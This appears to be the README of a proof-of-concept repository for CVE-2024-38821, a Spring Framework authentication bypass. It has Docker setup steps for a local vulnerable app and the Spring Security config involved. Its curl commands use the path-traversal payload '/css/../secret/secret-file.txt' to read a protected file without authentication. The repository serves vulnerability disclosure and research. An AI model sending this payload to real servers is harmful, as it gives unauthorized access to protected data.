# CVE-2024-38821: Proof of Concept (PoC): Authentication Bypass in Spring Framework
This is a proof of concept for the [CVE-2024-38821](https://spring.io/security/cve-2024-38821) vulnerability
## Execution Steps
1. Build the Docker image (Spring Boot 3.3.4, based on Spring Framework 6.1.13)
```
cd vuln
docker build -t cve-2024-38821-poc .
```
2. Run the container and expose port 8080 to the host machine
```
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
```
3. Run the following command to execute the PoC and confirm the vulnerability
```
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
```
If the attack is successful, the response will display: `This is a secret file.`
## Explanation
1. Create `SecurityConfig.java` to configure access permissions:
- Allow unauthenticated access to paths under /css/.
- Require authentication for paths under /secret/.
```java
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
.pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
.anyExchange().authenticated() // Authentication is required for all other paths
)
.formLogin().and() // Enable form-based authentication
.build();
}
```
3. Create the following payload. Since the payload starts with /css/, it matches the allowed path pattern. It does not start with /secret/, so it does not match the authentication-required path pattern:
- Path: `/css/../secret/secret-file.txt`
4. Use the following `curl` command to execute the PoC and verify if the attack is successful:
```
# Note: The --path-as-is option is required to send the request without URL normalization.
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
```
If the attack is successful, the response will display: `This is a secret file.`
## Disclaimer
This PoC is provided for educational and security research purposes. Before using this in a real system, ensure the vulnerability has been fixed and you have proper authorization. The author takes no responsibility for any misuse of this code.
[4.0K] /data/pocs/8dec030e406cf8f4363c05ddd879344ccad6f7e7
├── [1.0K] LICENSE
├── [2.6K] README.md
├── [4.0K] safe
│ ├── [ 580] build.gradle
│ ├── [ 512] Dockerfile
│ └── [4.0K] src
│ └── [4.0K] main
│ ├── [4.0K] java
│ │ └── [4.0K] com
│ │ └── [4.0K] example
│ │ └── [4.0K] demo
│ │ ├── [ 315] DemoApplication.java
│ │ └── [ 981] SecurityConfig.java
│ └── [4.0K] resources
│ ├── [4.0K] static
│ │ ├── [4.0K] css
│ │ │ └── [ 0] style.css
│ │ └── [4.0K] secret
│ │ └── [ 22] secret-file.txt
│ └── [4.0K] templates
│ ├── [ 123] index.html
│ └── [ 597] login.html
└── [4.0K] vuln
├── [ 580] build.gradle
├── [ 512] Dockerfile
└── [4.0K] src
└── [4.0K] main
├── [4.0K] java
│ └── [4.0K] com
│ └── [4.0K] example
│ └── [4.0K] demo
│ ├── [ 315] DemoApplication.java
│ └── [ 981] SecurityConfig.java
└── [4.0K] resources
├── [4.0K] static
│ ├── [4.0K] css
│ │ └── [ 0] style.css
│ └── [4.0K] secret
│ └── [ 22] secret-file.txt
└── [4.0K] templates
├── [ 123] index.html
└── [ 597] login.html
24 directories, 18 files